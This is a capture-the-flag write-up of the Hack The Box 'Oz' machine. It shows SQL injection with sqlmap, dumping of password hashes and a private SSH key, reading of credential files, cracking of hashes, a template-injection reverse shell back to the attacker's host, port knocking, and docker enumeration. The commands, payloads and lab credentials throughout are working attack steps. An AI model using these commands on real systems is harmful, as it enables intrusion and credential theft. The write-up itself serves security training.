Oz - Hack The Box
This blog post is a writeup of the Oz machine from Hack the Box.
Linux / 10.10.10.96
Summary
- There’s an SQL injection vulnerability on the port 80 application which allow us to dump the database
- We can crack the user credentials and log into the ticketing application
- An SSTI vulnerability allows us to gain RCE and access to this container
- Using the port-knocking information and SSH key we found earlier we can log in to the host OS
- The portainer application is exposed and we can use a vulnerability to change the admin password
- Once logged in, we use the portainer app to create a privileged container and get root access
Tools/Blogs used
Detailed steps
Only ports 80 and 8080 are accessible on this box.
root@darkisland:~/hackthebox# nmap -p- -sC -sV 10.10.10.96
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-02 18:27 EDT
Nmap scan report for oz.htb (10.10.10.96)
Host is up (0.016s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://oz.htb:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.22 seconds
Web enumeration
On port 8080 there’s a simple login page.
Failed attempts:
- No SQL injections found on this page
- Dirbusting didn’t find any useful files or directories
On port 80 there’s some web API asking for a username.
Based on the HTML code, we can guess it’s an API:
<title>OZ webapi</title>
<h3>Please register a username!</h3>
Dirbusting is a bit more difficult than usual because the page randomly throws random strings in the response when we enumerate an invalid URI.
The returned message contains either the register a username messages or a random string.
We can use wfuzz and exclude responses that include only 1 or 4 words:
root@darkisland:~/SecLists/Discovery/Web-Content# wfuzz -z file,raft-small-words-lowercase.txt --hw 1,4 10.10.10.96/FUZZ
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000199: C=200 3 L 6 W 79 Ch "users"
...
So we found the /users
URI, but we still get a ‘Please register a username!’ message but this time it’s in bold letters so there is something different with that URI.
After trying a few parameters and URIs, we find that an 500 error is triggered when using the http://10.10.10.96/users/'
URI.
This indicates a probable SQL injection. We can use sqlmap to explore this further:
root@darkisland:~# sqlmap -u http://10.10.10.96/users/
___
__H__
___ ___[.]_____ ___ ___ {1.2.8#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:48:35
[18:48:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[18:48:44] [INFO] testing connection to the target URL
[18:48:44] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[18:48:44] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
[18:48:45] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[18:48:45] [INFO] testing if the target URL content is stable
[18:48:45] [INFO] target URL content is stable
[18:48:45] [INFO] testing if URI parameter '#1*' is dynamic
[18:48:45] [INFO] confirming that URI parameter '#1*' is dynamic
[18:48:45] [INFO] URI parameter '#1*' is dynamic
[18:48:45] [INFO] heuristics detected web page charset 'ascii'
[18:48:45] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[18:48:45] [INFO] testing for SQL injection on URI parameter '#1*'
[18:48:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:48:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[18:48:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:48:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[18:48:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:48:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:48:46] [INFO] testing 'MySQL inline queries'
[18:48:46] [INFO] testing 'PostgreSQL inline queries'
[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:48:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[18:48:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[18:48:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[18:48:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[18:48:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:48:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[18:48:47] [INFO] testing 'Oracle AND time-based blind'
[18:48:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:48:48] [INFO] target URL appears to be UNION injectable with 1 columns
[18:48:48] [WARNING] applying generic concatenation (CONCAT)
[18:48:48] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[18:48:48] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 121 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
---
[18:48:51] [INFO] testing MySQL
[18:48:51] [INFO] confirming MySQL
[18:48:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:48:51] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 52 times
[18:48:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
[*] shutting down at 18:48:51
We found that the URI parameter is vulnerable so we can now enumerate the database content.
Databases:
root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --dbs
[...]
available databases [4]:
[*] information_schema
[*] mysql
[*] ozdb
[*] performance_schema
MySQL credentials:
root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --passwords
[...]
9] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD"
[18:50:29] [INFO] retrieved: "dorthi","*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA"
[18:50:29] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD"
Content of the ozdb database:
root@darkisland:~# sqlmap -u http://10.10.10.96/users/ -D ozdb --dump
[...]
+----+-------------+----------------------------------------------------------------------------------------+
| id | username | password |
+----+-------------+----------------------------------------------------------------------------------------+
| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
+----+-------------+----------------------------------------------------------------------------------------+
[...]
Database: ozdb
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name | desc |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |
| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |
| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |
| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |
| 6 | GBR-5012 | I bet you won't read the next entry. |
| 7 | GBR-7890 | HAHA! Made you look. |
| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |
| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |
| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
Let’s recap what we found:
- MySQL hashes
- OZDB users hashes
- Hint about port knocking enabled on the server
- Possible SSH keys available
Using the --file-read
option, we quickly find that there is no user.txt we can read and that the MySQL runs in a container.
The /etc/hosts
file gives it away, notice the randomly generated hostname which corresponds to the container ID.
root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --file-read=/etc/hosts
___
__H__
___ ___[)]_____ ___ ___ {1.2.8#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:53:35
[18:53:35] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[18:53:36] [INFO] resuming back-end DBMS 'mysql'
[18:53:36] [INFO] testing connection to the target URL
[18:53:36] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
---
[18:53:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[18:53:36] [INFO] fingerprinting the back-end DBMS operating system
[18:53:36] [INFO] the back-end DBMS operating system is Linux
[18:53:36] [INFO] fetching file: '/etc/hosts'
do you want confirmation that the remote file '/etc/hosts' has been successfully downloaded from the back-end DBMS file system? [Y/n]
[18:53:36] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_etc_hosts' and the remote file '/etc/hosts' have the same size (175 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_etc_hosts (same file)
[18:53:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
[*] shutting down at 18:53:36
root@darkisland:~# cat /root/.sqlmap/output/10.10.10.96/files/_etc_hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.100.10.4 b9b370edd41a
That’s a dead end, next let’s grab the SSH keys:
root@darkisland:~/oz#sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa
___
__H__
___ ___[.]_____ ___ ___ {1.2.8#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:57:23
[18:57:23] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[18:57:24] [INFO] resuming back-end DBMS 'mysql'
[18:57:24] [INFO] testing connection to the target URL
[18:57:24] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL
---
[18:57:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[18:57:24] [INFO] fingerprinting the back-end DBMS operating system
[18:57:24] [INFO] the back-end DBMS operating system is Linux
[18:57:24] [INFO] fetching file: '/home/dorthi/.ssh/id_rsa'
do you want confirmation that the remote file '/home/dorthi/.ssh/id_rsa' has been successfully downloaded from the back-end DBMS file system? [Y/n]
[18:57:24] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa' and the remote file '/home/dorthi/.ssh/id_rsa' have the same size (1766 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa (same file)
[18:57:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'
[*] shutting down at 18:57:24
root@darkisland:~/oz# cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----
That private key is encrypted, we’ll need to extract the hash and convert it to a john format:
root@darkisland:~/oz# ssh2john hash.txt > hash
root@darkisland:~/oz# cat hash
hash.txt:$ssh2$2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c36364239463339463333424130373838434432373230374246384632443046360a0a5256393033483656366c684b786c3864686f636145744c34557a6b796a31667179566a33657953716b41466b6b586d7332482b346c66623335555a62335746430a623650377a595a44416e524c516a4a45632f735156587577457a66574d6137705946394b7636696a495a6d53444f4d41506a61436a6e6a6e58356b4a4d4b33460a6531427251646830706857416868556d62597674327a3844442f4f474b68786c43376f542f3439492f4d452b746d3565794c47624b36394f75786235504274790a6839412b546e37306769454e522f45784f38715934574e51514d7469434d3074737a6573382b67754f454b43636b4d69766d52327157485443732b4e3777627a0a612f2f4a684f472b4764717645684a7031357051756a2f335343394f3578794c65326d714c3154554b3357724670517976386c586172744831764b546e7962640a392b576d652f6756546677535a57674d6547516a52585765334b557367475a4e464b3735775974412f462f444237515a4677664f324c62306d4c3758797a78360a5a616b756c59346246704274587375424a59504e79377742355a7665525342326638647a6e75326d76617242794d6f434e2f586756565a756a75674e6245636a0a6576726f4c474e652f2b49536b4a57563434334b7954634a3269495241612b427a486872427833316b472f2f6e69783076586f487a4238566a336671682b324d0a457963567644784c4b3843494d7a486333635256554d42655132583447754c5047524b6c556553726d597a2f734837354152337a68365a766c766131355961760a3576523438636453684653334643366148365351575665394b336f487a5968776c66542b7756506661655a72536c4348306847317a394331423942784d4c51720a4448656a703962624c70704a3339706531552b44426a7a446f347336726b2b43692f35647069656f6558726d475471456c4451692b4b4555396738434a70746f0a6259414755785046497050724e322b315242627859365956616f7035657971746e46345a47704a436f4357327238425273437675494c76724f314f306758462b0a7774736b746d796c6d48764841706f5872572f4754686a64566b644439552f36526d767633732f4f68746c4170335771773652492b4b6643504769437a6831560a3079665848373043664c4f324e6357744f2f4a554a765948334d2b72764444485a534c716757383431796b7a647251586e523773394e6a32456d6f57373249480a7a6e4e506d42314c51744434354e48364f4947382b51574e4164514863675a657077507a342f3970653274457175374d672f634c5542735459623461366d66740a69634f58394f414f72635a3852476349645657747a55347132594b5a6578346c797a65432f6b345441626f665a3045346b557361496246562f374f4d65644d430a7a43544a36726c416c326438653864735366463936515765766e44353079782b77624a2f697a5a6f6e486d552f3261633463384c5059713651394b4c6d6c6e750a764939624c664f4a6838444c46757143564938477a524f6a496478646c7a6b397970344c7863416e6d314f78394d4549716d4f567741643362456d59636b4b770a772f456d41724e49726e72353451376131504d6443735a63656a436a6e766d51465a336b6f35436f4643432b6b5565316a3932693038316b4f41686d587156330a633678676838566732714f797a6f5a6d3577525a5a46326e54586e6e4351334f5952334e4d73554254564732746c676670314e67647749797854576e303956300a6e4f7a714e744a374f4274302f526577547346676f4e5672435162513856765a46636b76473873563355396268395a6c32382f324933423437326951526f2b350a756f5248704167664f534f45527478754d706b726b5533497a53507356533963334c674b68695453357754625477374f2f7678784e4f6f4c706f784f32577a620a2f34586e4542683656674c726a54685163474b69676b574a614b7942484f684574755a714476324d465345367a64582f4e2b4c2f46524976316f5652395659760a514770714561475355472b2f54536463414e516444336d7636454759492b6f34725a4b45484a4b556c43492b4934386a48627651434c5761522f626b6a5a4a750a587453755630544a58746f3661627a6e53433142466c41434971426d4864656149585771482b4e6c584f434745386a51474d38732f66642f6a356731416477330a2d2d2d2d2d454e44205253412050524956415445204b45592d2d2d2d2d0a*1766*0
Cracking hashes
The only hash we are able to crack amongst all the stuff we recovered from MySQL and the SSH key is the wizard.oz
account from the ozdb database:
root@darkisland:~/oz# john -w=/usr/share/wordlists/rockyou.txt users.txt --fork=4
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 AVX 4x])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
3 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:09) 0g/s 38.70p/s 232.2c/s 232.2C/s johansen1..joeyy
2 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jinsu..jing21
4 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:10) 0g/s 38.69p/s 232.1c/s 232.1C/s johnpaul12..johnny43
1 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jmedina..jlucky
Password found: wizard.oz
/ wizardofoz22
Ticketing application
Once logged in with the wizard.oz
account we can see the existing tickets and create new ones.
Unfortunately the creation of new tickets doesn’t seem to work; when we submit a new ticket is just brings us back to the tickets list.
If we use Burp to look at the POST response, we see that the name and description is echoed back to us. If we send a payload with curly braces, we trigger a different response where the math operation inside is executed so we know we are looking at a Service Side Template Injection (SSTI) vulnerability.
To exploit the SSTI vulnerability we will use the tplmap utility.
root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'name' is injectable
[+] Jinja2 plugin is testing rendering with tag ''
[+] Jinja2 plugin is testing blind injection
[+] Jinja2 plugin has confirmed blind injection
[+] Tplmap identified the following injection point:
POST parameter: name
Engine: Jinja2
Injection: *
Context: text
OS: undetected
Technique: blind
Capabilities:
Shell command execution: ok (blind)
Bind and reverse shell: ok
File write: ok (blind)
File read: no
Code evaluation: ok, python code (blind)
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
Let’s get a shell with the --reverse-shell
parameter:
root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2" --reverse-shell 10.10.14.23 4444
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'name' is injectable
[+] Jinja2 plugin is testing rendering with tag ''
[+] Jinja2 plugin is testing blind injection
[+] Jinja2 plugin has confirmed blind injection
[+] Tplmap identified the following injection point:
POST parameter: name
Engine: Jinja2
Injection: *
Context: text
OS: undetected
Technique: blind
Capabilities:
Shell command execution: ok (blind)
Bind and reverse shell: ok
File write: ok (blind)
File read: no
Code evaluation: ok, python code (blind)
[...]
root@darkisland:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 35807
/bin/sh: can't access tty; job control turned off
/app #
Inside the ticket app container
The port knocking sequence can be found in the /.secret
directory:
/app # ls -la /.secret
total 12
drwxr-xr-x 2 root root 4096 Apr 24 18:27 .
drwxr-xr-x 53 root root 4096 May 15 17:24 ..
-rw-r--r-- 1 root root 262 Apr 24 18:27 knockd.conf
/app # cat /.secret/knockd.conf
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
The MySQL credentials are also found in /containers/database/start.sh
/containers/database # cat start.sh
#!/bin/bash
docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
-e MYSQL_DATABASE=ozdb \
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5
Access to the host OS
First, we open port 22 using the port-knock sequence:
../knock/knock -u 10.10.10.96 40809 50212 46969
The we can log in as dorthi
with the MySQL password N0Pl4c3L1keH0me
:
root@darkisland:~/oz# ssh -i id_rsa dorthi@10.10.10.96
Enter passphrase for key 'id_rsa':
dorthi@Oz:~$ cat user.txt
c21cf<redacted>
Privilege Escalation
We can check the docker networks according to sudoers:
dorthi@Oz:~$ sudo -l
Matching Defaults entries for dorthi on Oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on Oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls
dorthi@Oz:~$ sudo /usr/bin/docker network ls
NETWORK ID NAME DRIVER SCOPE
de829e486722 bridge bridge local
49c1b0c16723 host host local
3ccc2aa17acf none null local
48148eb6a512 prodnet bridge local
dorthi@Oz:~$ sudo /usr/bin/docker network inspect prodnet
[
{
"Name": "prodnet",
"Id": "48148eb6a512cd39f249c75f7acc91e0ac92d9cc9eecb028600d76d81199893f",
"Created": "2018-04-25T15:33:00.533183631-05:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": {},
"Config": [
{
"Subnet": "10.100.10.0/29",
"Gateway": "10.100.10.1"
}
]
},
"Internal": false,
"Attachable": false,
"Containers": {
"139ba9457f1a630ee3a072693999c414901d7df49ab8a70b926d246f9ca6cc69": {
"Name": "webapi",
"EndpointID": "9d9d439314e66dcbe6fa38eb32941e4cc31c9dbfc843afbb0008ca017a540e05",
"MacAddress": "02:42:0a:64:0a:06",
"IPv4Address": "10.100.10.6/29",
"IPv6Address": ""
},
"b9b370edd41a9d3ae114756d306f2502c420f48a4d7fbe36ae31bc18cf7ddb7c": {
"Name": "ozdb",
"EndpointID": "91b4ca1f31762f7e55208b74e5316839609fa0c77bc53aa7a92402827fbba05d",
"MacAddress": "02:42:0a:64:0a:04",
"IPv4Address": "10.100.10.4/29",
"IPv6Address": ""
},
"c26a7bc669289e40144fa1ad25546f38e4349d964b7b3d4fea13e15fe5a9fb01": {
"Name": "tix-app",
"EndpointID": "73701fde20003bd373653d4f1eb9d84ed5f04f987958d167112e899e585d8450",
"MacAddress": "02:42:0a:64:0a:02",
"IPv4Address": "10.100.10.2/29",
"IPv6Address": ""
}
},
"Options": {},
"Labels": {}
}
]
dorthi@Oz:~$ sudo /usr/bin/docker network inspect bridge
[
{
"Name": "bridge",
"Id": "de829e4867228adc17d5544fda536ff9329f03fefa29d5828b6cade710ec15df",
"Created": "2018-09-02T17:04:14.75249885-05:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.0.1"
}
]
},
"Internal": false,
"Attachable": false,
"Containers": {
"e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
"Name": "portainer-1.11.1",
"EndpointID": "4f616ad115d5cc9daa5c780a48cfe88018d372ce9073e5e9c1929b0a09db693f",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
},
"Options": {
"com.docker.network.bridge.default_bridge": "true",
"com.docker.network.bridge.enable_icc": "true",
"com.docker.network.bridge.enable_ip_masquerade": "true",
"com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
"com.docker.network.bridge.name": "docker0",
"com.docker.network.driver.mtu": "1500"
},
"Labels": {}
}
]
So, we’ve just identified another container portainer-1.11.1
